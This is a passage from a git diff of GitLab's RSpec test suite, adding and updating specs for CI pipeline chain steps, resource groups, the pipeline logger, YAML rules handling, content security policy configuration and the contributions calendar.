+ end
+ end
end
diff --git a/spec/lib/gitlab/ci/pipeline/chain/ensure_environments_spec.rb b/spec/lib/gitlab/ci/pipeline/chain/ensure_environments_spec.rb
new file mode 100644
index 00000000000..253928e1a19
--- /dev/null
+++ b/spec/lib/gitlab/ci/pipeline/chain/ensure_environments_spec.rb
@@ -0,0 +1,94 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Ci::Pipeline::Chain::EnsureEnvironments do
+ let(:project) { create(:project) }
+ let(:user) { create(:user) }
+ let(:stage) { build(:ci_stage_entity, project: project, statuses: [job]) }
+ let(:pipeline) { build(:ci_pipeline, project: project, stages: [stage]) }
+
+ let(:command) do
+ Gitlab::Ci::Pipeline::Chain::Command.new(project: project, current_user: user)
+ end
+
+ let(:step) { described_class.new(pipeline, command) }
+
+ describe '#perform!' do
+ subject { step.perform! }
+
+ before do
+ job.pipeline = pipeline
+ end
+
+ context 'when a pipeline contains a deployment job' do
+ let!(:job) { build(:ci_build, :start_review_app, project: project) }
+
+ it 'ensures environment existence for the job' do
+ expect { subject }.to change { Environment.count }.by(1)
+
+ expect(project.environments.find_by_name('review/master')).to be_present
+ expect(job.persisted_environment.name).to eq('review/master')
+ expect(job.metadata.expanded_environment_name).to eq('review/master')
+ end
+
+ context 'when an environment has already been existed' do
+ before do
+ create(:environment, project: project, name: 'review/master')
+ end
+
+ it 'ensures environment existence for the job' do
+ expect { subject }.not_to change { Environment.count }
+
+ expect(project.environments.find_by_name('review/master')).to be_present
+ expect(job.persisted_environment.name).to eq('review/master')
+ expect(job.metadata.expanded_environment_name).to eq('review/master')
+ end
+ end
+
+ context 'when an environment name contains an invalid character' do
+ let(:pipeline) { build(:ci_pipeline, ref: '!!!', project: project, stages: [stage]) }
+
+ it 'sets the failure status' do
+ expect { subject }.not_to change { Environment.count }
+
+ expect(job).to be_failed
+ expect(job).to be_environment_creation_failure
+ expect(job.persisted_environment).to be_nil
+ end
+ end
+
+ context 'when create_deployment_in_separate_transaction feature flag is disabled' do
+ before do
+ stub_feature_flags(create_deployment_in_separate_transaction: false)
+ end
+
+ it 'does not create any environments' do
+ expect { subject }.not_to change { Environment.count }
+
+ expect(job.persisted_environment).to be_nil
+ end
+ end
+ end
+
+ context 'when a pipeline contains a teardown job' do
+ let!(:job) { build(:ci_build, :stop_review_app, project: project) }
+
+ it 'ensures environment existence for the job' do
+ expect { subject }.to change { Environment.count }.by(1)
+
+ expect(project.environments.find_by_name('review/master')).to be_present
+ expect(job.persisted_environment.name).to eq('review/master')
+ expect(job.metadata.expanded_environment_name).to eq('review/master')
+ end
+ end
+
+ context 'when a pipeline does not contain a deployment job' do
+ let!(:job) { build(:ci_build, project: project) }
+
+ it 'does not create any environments' do
+ expect { subject }.not_to change { Environment.count }
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/ci/pipeline/chain/ensure_resource_groups_spec.rb b/spec/lib/gitlab/ci/pipeline/chain/ensure_resource_groups_spec.rb
new file mode 100644
index 00000000000..87df5a3e21b
--- /dev/null
+++ b/spec/lib/gitlab/ci/pipeline/chain/ensure_resource_groups_spec.rb
@@ -0,0 +1,85 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Ci::Pipeline::Chain::EnsureResourceGroups do
+ let(:project) { create(:project) }
+ let(:user) { create(:user) }
+ let(:stage) { build(:ci_stage_entity, project: project, statuses: [job]) }
+ let(:pipeline) { build(:ci_pipeline, project: project, stages: [stage]) }
+ let!(:environment) { create(:environment, name: 'production', project: project) }
+
+ let(:command) do
+ Gitlab::Ci::Pipeline::Chain::Command.new(project: project, current_user: user)
+ end
+
+ let(:step) { described_class.new(pipeline, command) }
+
+ describe '#perform!' do
+ subject { step.perform! }
+
+ before do
+ job.pipeline = pipeline
+ end
+
+ context 'when a pipeline contains a job that requires a resource group' do
+ let!(:job) do
+ build(:ci_build, project: project, environment: 'production', options: { resource_group_key: '$CI_ENVIRONMENT_NAME' })
+ end
+
+ it 'ensures the resource group existence' do
+ expect { subject }.to change { Ci::ResourceGroup.count }.by(1)
+
+ expect(project.resource_groups.find_by_key('production')).to be_present
+ expect(job.resource_group.key).to eq('production')
+ expect(job.options[:resource_group_key]).to be_nil
+ end
+
+ context 'when a resource group has already been existed' do
+ before do
+ create(:ci_resource_group, project: project, key: 'production')
+ end
+
+ it 'ensures the resource group existence' do
+ expect { subject }.not_to change { Ci::ResourceGroup.count }
+
+ expect(project.resource_groups.find_by_key('production')).to be_present
+ expect(job.resource_group.key).to eq('production')
+ expect(job.options[:resource_group_key]).to be_nil
+ end
+ end
+
+ context 'when a resource group key contains an invalid character' do
+ let!(:job) do
+ build(:ci_build, project: project, environment: '!!!', options: { resource_group_key: '$CI_ENVIRONMENT_NAME' })
+ end
+
+ it 'does not create any resource groups' do
+ expect { subject }.not_to change { Ci::ResourceGroup.count }
+
+ expect(job.resource_group).to be_nil
+ end
+ end
+
+ context 'when create_deployment_in_separate_transaction feature flag is disabled' do
+ before do
+ stub_feature_flags(create_deployment_in_separate_transaction: false)
+ end
+
+ it 'does not create any resource groups' do
+ expect { subject }.not_to change { Ci::ResourceGroup.count }
+
+ expect(job.resource_group).to be_nil
+ end
+ end
+ end
+
+ context 'when a pipeline does not contain a job that requires a resource group' do
+ let!(:job) { build(:ci_build, project: project) }
+
+ it 'does not create any resource groups' do
+ expect { subject }.not_to change { Ci::ResourceGroup.count }
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/ci/pipeline/chain/validate/external_spec.rb b/spec/lib/gitlab/ci/pipeline/chain/validate/external_spec.rb
index cf21c98dbd5..cebc4c02d11 100644
--- a/spec/lib/gitlab/ci/pipeline/chain/validate/external_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/chain/validate/external_spec.rb
@@ -24,6 +24,7 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Validate::External do
second_stage_job_name:
stage: second_stage
services:
+ -
- postgres
before_script:
- echo 'first hello'
@@ -142,6 +143,23 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Validate::External do
perform!
end
+
+ it 'returns expected payload' do
+ expect(::Gitlab::HTTP).to receive(:post) do |_url, params|
+ payload = Gitlab::Json.parse(params[:body])
+
+ builds = payload['builds']
+ expect(builds.count).to eq(2)
+ expect(builds[0]['services']).to be_nil
+ expect(builds[0]['stage']).to eq('first_stage')
+ expect(builds[0]['image']).to eq('hello_world')
+ expect(builds[1]['services']).to eq(['postgres'])
+ expect(builds[1]['stage']).to eq('second_stage')
+ expect(builds[1]['image']).to be_nil
+ end
+
+ perform!
+ end
end
context 'when EXTERNAL_VALIDATION_SERVICE_TOKEN is set' do
diff --git a/spec/lib/gitlab/ci/pipeline/expression/lexeme/variable_spec.rb b/spec/lib/gitlab/ci/pipeline/expression/lexeme/variable_spec.rb
index 115674edc48..3e10ca686ba 100644
--- a/spec/lib/gitlab/ci/pipeline/expression/lexeme/variable_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/expression/lexeme/variable_spec.rb
@@ -17,30 +17,33 @@ RSpec.describe Gitlab::Ci::Pipeline::Expression::Lexeme::Variable do
end
describe '#evaluate' do
- it 'returns variable value if it is defined' do
- variable = described_class.new('VARIABLE')
+ let(:lexeme) { described_class.new('VARIABLE') }
- expect(variable.evaluate(VARIABLE: 'my variable'))
+ it 'returns variable value if it is defined' do
+ expect(lexeme.evaluate(VARIABLE: 'my variable'))
.to eq 'my variable'
end
it 'allows to use a string as a variable key too' do
- variable = described_class.new('VARIABLE')
-
- expect(variable.evaluate('VARIABLE' => 'my variable'))
+ expect(lexeme.evaluate('VARIABLE' => 'my variable'))
.to eq 'my variable'
end
it 'returns nil if it is not defined' do
- variable = described_class.new('VARIABLE')
-
- expect(variable.evaluate(OTHER: 'variable')).to be_nil
+ expect(lexeme.evaluate('OTHER' => 'variable')).to be_nil
+ expect(lexeme.evaluate(OTHER: 'variable')).to be_nil
end
it 'returns an empty string if it is empty' do
- variable = described_class.new('VARIABLE')
+ expect(lexeme.evaluate('VARIABLE' => '')).to eq ''
+ expect(lexeme.evaluate(VARIABLE: '')).to eq ''
+ end
+
+ it 'does not call with_indifferent_access unnecessarily' do
+ variables_hash = { VARIABLE: 'my variable' }.with_indifferent_access
- expect(variable.evaluate(VARIABLE: '')).to eq ''
+ expect(variables_hash).not_to receive(:with_indifferent_access)
+ expect(lexeme.evaluate(variables_hash)).to eq 'my variable'
end
end
end
diff --git a/spec/lib/gitlab/ci/pipeline/expression/statement_spec.rb b/spec/lib/gitlab/ci/pipeline/expression/statement_spec.rb
index ec7eebdc056..84713e2a798 100644
--- a/spec/lib/gitlab/ci/pipeline/expression/statement_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/expression/statement_spec.rb
@@ -9,6 +9,7 @@ RSpec.describe Gitlab::Ci::Pipeline::Expression::Statement do
.append(key: 'PATH_VARIABLE', value: 'a/path/variable/value')
.append(key: 'FULL_PATH_VARIABLE', value: '/a/full/path/variable/value')
.append(key: 'EMPTY_VARIABLE', value: '')
+ .to_hash
end
subject do
diff --git a/spec/lib/gitlab/ci/pipeline/logger_spec.rb b/spec/lib/gitlab/ci/pipeline/logger_spec.rb
new file mode 100644
index 00000000000..0b44e35dec1
--- /dev/null
+++ b/spec/lib/gitlab/ci/pipeline/logger_spec.rb
@@ -0,0 +1,132 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ::Gitlab::Ci::Pipeline::Logger do
+ let_it_be(:project) { build_stubbed(:project) }
+ let_it_be(:pipeline) { build_stubbed(:ci_pipeline, project: project) }
+
+ subject(:logger) { described_class.new(project: project) }
+
+ describe '#log_when' do
+ it 'stores blocks for later evaluation' do
+ logger.log_when { |obs| true }
+
+ expect(logger.send(:log_conditions).first).to be_a(Proc)
+ end
+ end
+
+ describe '#instrument' do
+ it "returns the block's value" do
+ expect(logger.instrument(:expensive_operation) { 123 }).to eq(123)
+ end
+
+ it 'records durations of instrumented operations' do
+ loggable_data = {
+ 'expensive_operation_duration_s' => {
+ 'count' => 1,
+ 'avg' => a_kind_of(Numeric),
+ 'max' => a_kind_of(Numeric),
+ 'min' => a_kind_of(Numeric)
+ }
+ }
+
+ logger.instrument(:expensive_operation) { 123 }
+ expect(logger.observations_hash).to match(a_hash_including(loggable_data))
+ end
+
+ it 'raises an error when block is not provided' do
+ expect { logger.instrument(:expensive_operation) }
+ .to raise_error(ArgumentError, 'block not given')
+ end
+ end
+
+ describe '#observe' do
+ it 'records durations of observed operations' do
+ loggable_data = {
+ 'pipeline_creation_duration_s' => {
+ 'avg' => 30, 'count' => 1, 'max' => 30, 'min' => 30
+ }
+ }
+
+ expect(logger.observe(:pipeline_creation_duration_s, 30)).to be_truthy
+ expect(logger.observations_hash).to match(a_hash_including(loggable_data))
+ end
+ end
+
+ describe '#commit' do
+ subject(:commit) { logger.commit(pipeline: pipeline, caller: 'source') }
+
+ before do
+ stub_feature_flags(ci_pipeline_creation_logger: flag)
+ allow(logger).to receive(:current_monotonic_time) { Time.current.to_i }
+
+ logger.instrument(:pipeline_save) { travel(60.seconds) }
+ logger.observe(:pipeline_creation_duration_s, 30)
+ logger.observe(:pipeline_creation_duration_s, 10)
+ end
+
+ context 'when the feature flag is enabled' do
+ let(:flag) { true }
+
+ let(:loggable_data) do
+ {
+ 'class' => described_class.name.to_s,
+ 'pipeline_id' => pipeline.id,
+ 'pipeline_persisted' => true,
+ 'project_id' => project.id,
+ 'pipeline_creation_service_duration_s' => a_kind_of(Numeric),
+ 'pipeline_creation_caller' => 'source',
+ 'pipeline_source' => pipeline.source,
+ 'pipeline_save_duration_s' => {
+ 'avg' => 60, 'count' => 1, 'max' => 60, 'min' => 60
+ },
+ 'pipeline_creation_duration_s' => {
+ 'avg' => 20, 'count' => 2, 'max' => 30, 'min' => 10
+ }
+ }
+ end
+
+ it 'logs to application.json' do
+ expect(Gitlab::AppJsonLogger)
+ .to receive(:info)
+ .with(a_hash_including(loggable_data))
+ .and_call_original
+
+ expect(commit).to be_truthy
+ end
+
+ context 'with log conditions' do
+ it 'does not log when the conditions are false' do
+ logger.log_when { |_obs| false }
+
+ expect(Gitlab::AppJsonLogger).not_to receive(:info)
+
+ expect(commit).to be_falsey
+ end
+
+ it 'logs when a condition is true' do
+ logger.log_when { |_obs| true }
+ logger.log_when { |_obs| false }
+
+ expect(Gitlab::AppJsonLogger)
+ .to receive(:info)
+ .with(a_hash_including(loggable_data))
+ .and_call_original
+
+ expect(commit).to be_truthy
+ end
+ end
+ end
+
+ context 'when the feature flag is disabled' do
+ let(:flag) { false }
+
+ it 'does not log' do
+ expect(Gitlab::AppJsonLogger).not_to receive(:info)
+
+ expect(commit).to be_falsey
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/ci/pipeline/seed/build_spec.rb b/spec/lib/gitlab/ci/pipeline/seed/build_spec.rb
index e2b64e65938..68806fbf287 100644
--- a/spec/lib/gitlab/ci/pipeline/seed/build_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/seed/build_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe Gitlab::Ci::Pipeline::Seed::Build do
let(:pipeline) { build(:ci_empty_pipeline, project: project, sha: head_sha) }
let(:root_variables) { [] }
let(:seed_context) { double(pipeline: pipeline, root_variables: root_variables) }
- let(:attributes) { { name: 'rspec', ref: 'master', scheduling_type: :stage } }
+ let(:attributes) { { name: 'rspec', ref: 'master', scheduling_type: :stage, when: 'on_success' } }
let(:previous_stages) { [] }
let(:current_stage) { double(seeds_names: [attributes[:name]]) }
@@ -61,17 +61,35 @@ RSpec.describe Gitlab::Ci::Pipeline::Seed::Build do
end
end
- context 'with job:rules but no explicit when:' do
- context 'is matched' do
- let(:attributes) { { name: 'rspec', ref: 'master', rules: [{ if: '$VAR == null' }] } }
+ context 'with job: rules but no explicit when:' do
+ let(:base_attributes) { { name: 'rspec', ref: 'master' } }
+
+ context 'with a manual job' do
+ context 'with a matched rule' do
+ let(:attributes) { base_attributes.merge(when: 'manual', rules: [{ if: '$VAR == null' }]) }
+
+ it { is_expected.to include(when: 'manual') }
+ end
- it { is_expected.to include(when: 'on_success') }
+ context 'is not matched' do
+ let(:attributes) { base_attributes.merge(when: 'manual', rules: [{ if: '$VAR != null' }]) }
+
+ it { is_expected.to include(when: 'never') }
+ end
end
- context 'is not matched' do
- let(:attributes) { { name: 'rspec', ref: 'master', rules: [{ if: '$VAR != null' }] } }
+ context 'with an automatic job' do
+ context 'is matched' do
+ let(:attributes) { base_attributes.merge(when: 'on_success', rules: [{ if: '$VAR == null' }]) }
- it { is_expected.to include(when: 'never') }
+ it { is_expected.to include(when: 'on_success') }
+ end
+
+ context 'is not matched' do
+ let(:attributes) { base_attributes.merge(when: 'on_success', rules: [{ if: '$VAR != null' }]) }
+
+ it { is_expected.to include(when: 'never') }
+ end
end
end
@@ -393,6 +411,10 @@ RSpec.describe Gitlab::Ci::Pipeline::Seed::Build do
describe '#to_resource' do
subject { seed_build.to_resource }
+ before do
+ stub_feature_flags(create_deployment_in_separate_transaction: false)
+ end
+
context 'when job is Ci::Build' do
it { is_expected.to be_a(::Ci::Build) }
it { is_expected.to be_valid }
@@ -443,6 +465,18 @@ RSpec.describe Gitlab::Ci::Pipeline::Seed::Build do
it_behaves_like 'deployment job'
it_behaves_like 'ensures environment existence'
+ context 'when create_deployment_in_separate_transaction feature flag is enabled' do
+ before do
+ stub_feature_flags(create_deployment_in_separate_transaction: true)
+ end
+
+ it 'does not create any deployments nor environments' do
+ expect(subject.deployment).to be_nil
+ expect(Environment.count).to eq(0)
+ expect(Deployment.count).to eq(0)
+ end
+ end
+
context 'when the environment name is invalid' do
let(:attributes) { { name: 'deploy', ref: 'master', environment: '!!!' } }
@@ -452,25 +486,6 @@ RSpec.describe Gitlab::Ci::Pipeline::Seed::Build do
expect(subject.metadata.expanded_environment_name).to be_nil
expect(Environment.exists?(name: expected_environment_name)).to eq(false)
end
-
- context 'when surface_environment_creation_failure feature flag is disabled' do
- before do
- stub_feature_flags(surface_environment_creation_failure: false)
- end
-
- it_behaves_like 'non-deployment job'
- it_behaves_like 'ensures environment inexistence'
-
- it 'tracks an exception' do
- expect(Gitlab::ErrorTracking).to receive(:track_exception)
- .with(an_instance_of(described_class::EnvironmentCreationFailure),
- project_id: project.id,
- reason: %q{Name can contain only letters, digits, '-', '_', '/', '$', '{', '}', '.', and spaces, but it cannot start or end with '/'})
- .once
-
- subject
- end
- end
end
end
@@ -515,6 +530,18 @@ RSpec.describe Gitlab::Ci::Pipeline::Seed::Build do
it 'returns a job with resource group' do
expect(subject.resource_group).not_to be_nil
expect(subject.resource_group.key).to eq('iOS')
+ expect(Ci::ResourceGroup.count).to eq(1)
+ end
+
+ context 'when create_deployment_in_separate_transaction feature flag is enabled' do
+ before do
+ stub_feature_flags(create_deployment_in_separate_transaction: true)
+ end
+
+ it 'does not create any resource groups' do
+ expect(subject.resource_group).to be_nil
+ expect(Ci::ResourceGroup.count).to eq(0)
+ end
end
context 'when resource group has $CI_ENVIRONMENT_NAME in it' do
@@ -892,7 +919,7 @@ RSpec.describe Gitlab::Ci::Pipeline::Seed::Build do
context 'using rules:' do
using RSpec::Parameterized
- let(:attributes) { { name: 'rspec', rules: rule_set } }
+ let(:attributes) { { name: 'rspec', rules: rule_set, when: 'on_success' } }
context 'with a matching if: rule' do
context 'with an explicit `when: never`' do
diff --git a/spec/lib/gitlab/ci/status/bridge/common_spec.rb b/spec/lib/gitlab/ci/status/bridge/common_spec.rb
index 37524afc83d..30e6ad234a0 100644
--- a/spec/lib/gitlab/ci/status/bridge/common_spec.rb
+++ b/spec/lib/gitlab/ci/status/bridge/common_spec.rb
@@ -29,7 +29,15 @@ RSpec.describe Gitlab::Ci::Status::Bridge::Common do
end
it { expect(subject).to have_details }
- it { expect(subject.details_path).to include "pipelines/#{downstream_pipeline.id}" }
+ it { expect(subject.details_path).to include "jobs/#{bridge.id}" }
+
+ context 'with ci_retry_downstream_pipeline ff disabled' do
+ before do
+ stub_feature_flags(ci_retry_downstream_pipeline: false)
+ end
+
+ it { expect(subject.details_path).to include "pipelines/#{downstream_pipeline.id}" }
+ end
end
context 'when user does not have access to read downstream pipeline' do
diff --git a/spec/lib/gitlab/ci/tags/bulk_insert_spec.rb b/spec/lib/gitlab/ci/tags/bulk_insert_spec.rb
new file mode 100644
index 00000000000..6c1f56de840
--- /dev/null
+++ b/spec/lib/gitlab/ci/tags/bulk_insert_spec.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Ci::Tags::BulkInsert do
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:pipeline) { create(:ci_pipeline, project: project) }
+ let_it_be_with_refind(:job) { create(:ci_build, :unique_name, pipeline: pipeline, project: project) }
+ let_it_be_with_refind(:other_job) { create(:ci_build, :unique_name, pipeline: pipeline, project: project) }
+ let_it_be_with_refind(:bridge) { create(:ci_bridge, pipeline: pipeline, project: project) }
+
+ let(:statuses) { [job, bridge, other_job] }
+
+ subject(:service) { described_class.new(statuses, tags_list) }
+
+ describe '#insert!' do
+ context 'without tags' do
+ let(:tags_list) { {} }
+
+ it { expect(service.insert!).to be_falsey }
+ end
+
+ context 'with tags' do
+ let(:tags_list) do
+ {
+ job.name => %w[tag1 tag2],
+ other_job.name => %w[tag2 tag3 tag4]
+ }
+ end
+
+ it 'persists tags' do
+ expect(service.insert!).to be_truthy
+
+ expect(job.reload.tag_list).to match_array(%w[tag1 tag2])
+ expect(other_job.reload.tag_list).to match_array(%w[tag2 tag3 tag4])
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/ci/variables/builder_spec.rb b/spec/lib/gitlab/ci/variables/builder_spec.rb
index 10275f33484..5ff34592b2f 100644
--- a/spec/lib/gitlab/ci/variables/builder_spec.rb
+++ b/spec/lib/gitlab/ci/variables/builder_spec.rb
@@ -24,15 +24,5 @@ RSpec.describe Gitlab::Ci::Variables::Builder do
expect(names).to include(*keys)
end
end
-
- context 'feature flag disabled' do
- before do
- stub_feature_flags(ci_predefined_vars_in_builder: false)
- end
-
- it 'returns no variables' do
- expect(subject.map { |env| env[:key] }).to be_empty
- end
- end
end
end
diff --git a/spec/lib/gitlab/ci/yaml_processor_spec.rb b/spec/lib/gitlab/ci/yaml_processor_spec.rb
index f00a801286d..e8b38b21ef8 100644
--- a/spec/lib/gitlab/ci/yaml_processor_spec.rb
+++ b/spec/lib/gitlab/ci/yaml_processor_spec.rb
@@ -2139,7 +2139,7 @@ module Gitlab
end
end
- context 'with when/rules conflict' do
+ context 'with when/rules' do
subject { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)).execute }
let(:config) do
@@ -2174,7 +2174,7 @@ module Gitlab
}
end
- it_behaves_like 'returns errors', /may not be used with `rules`: when/
+ it { is_expected.to be_valid }
end
context 'used with job-level when:delayed' do
@@ -2190,7 +2190,7 @@ module Gitlab
}
end
- it_behaves_like 'returns errors', /may not be used with `rules`: when, start_in/
+ it_behaves_like 'returns errors', /may not be used with `rules`: start_in/
end
end
diff --git a/spec/lib/gitlab/cleanup/orphan_lfs_file_references_spec.rb b/spec/lib/gitlab/cleanup/orphan_lfs_file_references_spec.rb
index b0f7703462a..f5f02046d4e 100644
--- a/spec/lib/gitlab/cleanup/orphan_lfs_file_references_spec.rb
+++ b/spec/lib/gitlab/cleanup/orphan_lfs_file_references_spec.rb
@@ -97,6 +97,6 @@ RSpec.describe Gitlab::Cleanup::OrphanLfsFileReferences do
def stub_lfs_pointers(repo, *oids)
expect(repo.gitaly_blob_client)
.to receive(:get_all_lfs_pointers)
- .and_return(oids.map { |oid| OpenStruct.new(lfs_oid: oid) })
+ .and_return(oids.map { |oid| double('pointers', lfs_oid: oid) })
end
end
diff --git a/spec/lib/gitlab/config/entry/undefined_spec.rb b/spec/lib/gitlab/config/entry/undefined_spec.rb
index 36faabd8e31..31e0f9487aa 100644
--- a/spec/lib/gitlab/config/entry/undefined_spec.rb
+++ b/spec/lib/gitlab/config/entry/undefined_spec.rb
@@ -40,4 +40,10 @@ RSpec.describe Gitlab::Config::Entry::Undefined do
expect(entry.specified?).to eq false
end
end
+
+ describe '#type' do
+ it 'returns nil' do
+ expect(entry.type).to eq nil
+ end
+ end
end
diff --git a/spec/lib/gitlab/content_security_policy/config_loader_spec.rb b/spec/lib/gitlab/content_security_policy/config_loader_spec.rb
index c0476d38380..56e3fc269e6 100644
--- a/spec/lib/gitlab/content_security_policy/config_loader_spec.rb
+++ b/spec/lib/gitlab/content_security_policy/config_loader_spec.rb
@@ -85,7 +85,7 @@ RSpec.describe Gitlab::ContentSecurityPolicy::ConfigLoader do
expect(directives['style_src']).to eq("'self' 'unsafe-inline' https://cdn.example.com")
expect(directives['font_src']).to eq("'self' https://cdn.example.com")
expect(directives['worker_src']).to eq('http://localhost/assets/ blob: data: https://cdn.example.com')
- expect(directives['frame_src']).to eq(::Gitlab::ContentSecurityPolicy::Directives.frame_src + " https://cdn.example.com http://localhost/admin/sidekiq http://localhost/admin/sidekiq/ http://localhost/-/speedscope/index.html")
+ expect(directives['frame_src']).to eq(::Gitlab::ContentSecurityPolicy::Directives.frame_src + " https://cdn.example.com http://localhost/admin/ http://localhost/assets/ http://localhost/-/speedscope/index.html")
end
end
@@ -113,7 +113,7 @@ RSpec.describe Gitlab::ContentSecurityPolicy::ConfigLoader do
end
it 'does not add CUSTOMER_PORTAL_URL to CSP' do
- expect(directives['frame_src']).to eq(::Gitlab::ContentSecurityPolicy::Directives.frame_src + " http://localhost/admin/sidekiq http://localhost/admin/sidekiq/ http://localhost/-/speedscope/index.html")
+ expect(directives['frame_src']).to eq(::Gitlab::ContentSecurityPolicy::Directives.frame_src + " http://localhost/admin/ http://localhost/assets/ http://localhost/-/speedscope/index.html")
end
end
@@ -123,12 +123,12 @@ RSpec.describe Gitlab::ContentSecurityPolicy::ConfigLoader do
end
it 'adds CUSTOMER_PORTAL_URL to CSP' do
- expect(directives['frame_src']).to eq(::Gitlab::ContentSecurityPolicy::Directives.frame_src + " http://localhost/rails/letter_opener/ https://customers.example.com http://localhost/admin/sidekiq http://localhost/admin/sidekiq/ http://localhost/-/speedscope/index.html")
+ expect(directives['frame_src']).to eq(::Gitlab::ContentSecurityPolicy::Directives.frame_src + " http://localhost/rails/letter_opener/ https://customers.example.com http://localhost/admin/ http://localhost/assets/ http://localhost/-/speedscope/index.html")
end
end
end
- context 'letter_opener applicaiton URL' do
+ context 'letter_opener application URL' do
let(:gitlab_url) { 'http://gitlab.example.com' }
let(:letter_opener_url) { "#{gitlab_url}/rails/letter_opener/" }
@@ -156,6 +156,46 @@ RSpec.describe Gitlab::ContentSecurityPolicy::ConfigLoader do
end
end
end
+
+ context 'Snowplow Micro event collector' do
+ let(:snowplow_micro_hostname) { 'localhost:9090' }
+ let(:snowplow_micro_url) { "http://#{snowplow_micro_hostname}/" }
+
+ before do
+ stub_env('SNOWPLOW_MICRO_ENABLE', 1)
+ allow(Gitlab::Tracking).to receive(:collector_hostname).and_return(snowplow_micro_hostname)
+ end
+
+ context 'when in production' do
+ before do
+ stub_rails_env('production')
+ end
+
+ it 'does not add Snowplow Micro URL to connect-src' do
+ expect(directives['connect_src']).not_to include(snowplow_micro_url)
+ end
+ end
+
+ context 'when in development' do
+ before do
+ stub_rails_env('development')
+ end
+
+ it 'adds Snowplow Micro URL with trailing slash to connect-src' do
+ expect(directives['connect_src']).to match(Regexp.new(snowplow_micro_url))
+ end
+
+ context 'when not enabled using ENV[SNOWPLOW_MICRO_ENABLE]' do
+ before do
+ stub_env('SNOWPLOW_MICRO_ENABLE', nil)
+ end
+
+ it 'does not add Snowplow Micro URL to connect-src' do
+ expect(directives['connect_src']).not_to include(snowplow_micro_url)
+ end
+ end
+ end
+ end
end
describe '#load' do
diff --git a/spec/lib/gitlab/contributions_calendar_spec.rb b/spec/lib/gitlab/contributions_calendar_spec.rb
index 384609c6664..8a9ab736d46 100644
--- a/spec/lib/gitlab/contributions_calendar_spec.rb
+++ b/spec/lib/gitlab/contributions_calendar_spec.rb
@@ -50,7 +50,8 @@ RSpec.describe Gitlab::ContributionsCalendar do
Event.create!(
project: project,
action: action,
- target: @targets[project],
+ target_type: @targets[project].class.name,
+ target_id: @targets[project].id,
author: contributor,
created_at: DateTime.new(day.year, day.month, day.day, hour)
)
@@ -66,14 +67,34 @@ RSpec.describe Gitlab::ContributionsCalendar do
end
context "when the user has opted-in for private contributions" do
+ before do
+ contributor.update_column(:include_private_contributions, true)
+ end
+
it "shows private and public events to all users" do
- user.update_column(:include_private_contributions, true)
create_event(private_project, today)
create_event(public_project, today)
+ expect(calendar.activity_dates[today]).to eq(2)
+ expect(calendar(user).activity_dates[today]).to eq(2)
+ expect(calendar(contributor).activity_dates[today]).to eq(2)
+ end
+
+ # tests for bug https://gitlab.com/gitlab-org/gitlab/-/merge_requests/74826
+ it "still counts correct with feature access levels set to private" do
+ create_event(private_project, today)
+
+ private_project.project_feature.update_attribute(:issues_access_level, ProjectFeature::PRIVATE)
+ private_project.project_feature.update_attribute(:repository_access_level, ProjectFeature::PRIVATE)
+ private_project.project_feature.update_attribute(:merge_requests_access_level, ProjectFeature::PRIVATE)
+
expect(calendar.activity_dates[today]).to eq(1)
expect(calendar(user).activity_dates[today]).to eq(1)
- expect(calendar(contributor).activity_dates[today]).to eq(2)
+ expect(calendar(contributor).activity_dates[today]).to eq(1)
+ end
+
+ it "does not fail if there are no contributed projects" do
+ expect(calendar.activity_dates[today]).to eq(nil)
end
end
@@ -125,6 +146,7 @@ RSpec.describe Gitlab::ContributionsCalendar do
create_event(public_project, today, 10)
create_event(public_project, today, 16)
create_event(public_project, today, 23)
+ create_event(public_project, tomorrow, 1)
end
it "renders correct event counts within the UTC timezone" do
@@ -137,14 +159,14 @@ RSpec.describe Gitlab::ContributionsCalendar do
it "renders correct event counts within the Sydney timezone" do
Time.use_zone('UTC') do
contributor.timezone = 'Sydney'
- expect(calendar.activity_dates).to eq(today => 3, tomorrow => 2)
+ expect(calendar.activity_dates).to eq(today => 3, tomorrow => 3)
end
end
it "renders correct event counts within the US Central timezone" do
Time.use_zone('UTC') do
contributor.timezone = 'Central Time (US & Canada)'
- expect(calendar.activity_dates).to eq(yesterday => 2, today => 3)
+ expect(calendar.activity_dates).to eq(yesterday => 2, today => 4)
end
end
end
@@ -169,6 +191,12 @@ RSpec.describe Gitlab::ContributionsCalendar do
expect(calendar(contributor).events_by_date(today)).to contain_exactly(e1, e2, e3)
end
+ it "includes diff notes on merge request" do
+ e1 = create_event(public_project, today, 0, :commented, :diff_note_on_merge_request)
+
+ expect(calendar.events_by_date(today)).to contain_exactly(e1)
+ end
+
context 'when the user cannot read cross project' do
before do
allow(Ability).to receive(:allowed?).and_call_original
diff --git a/spec/lib/gitlab/daemon_spec.rb b/spec/lib/gitlab/daemon_spec.rb
index 075a1e414c7..4d11b0bdc6c 100644
--- a/spec/lib/gitlab/daemon_spec.rb
+++ b/spec/lib/gitlab/daemon_spec.rb
@@ -46,6 +46,30 @@ RSpec.describe Gitlab::Daemon do
expect(subject).to have_received(:run_thread)
end
+
+ context '@synchronous' do
+ context 'when @synchronous is set to true' do
+ subject { described_class.instance(synchronous: true) }
+
+ it 'calls join on the thread' do
+ # Thread has to be run in a block, expect_next_instance_of does not support this.
+ expect_any_instance_of(Thread).to receive(:join) # rubocop:disable RSpec/AnyInstanceOf
+
+ subject.start
+ end
+ end
+
+ context 'when @synchronous is not set to a truthy value' do
+ subject { described_class.instance }
+
+ it 'does not call join on the thread' do
+ # Thread has to be run in a block, expect_next_instance_of does not support this.
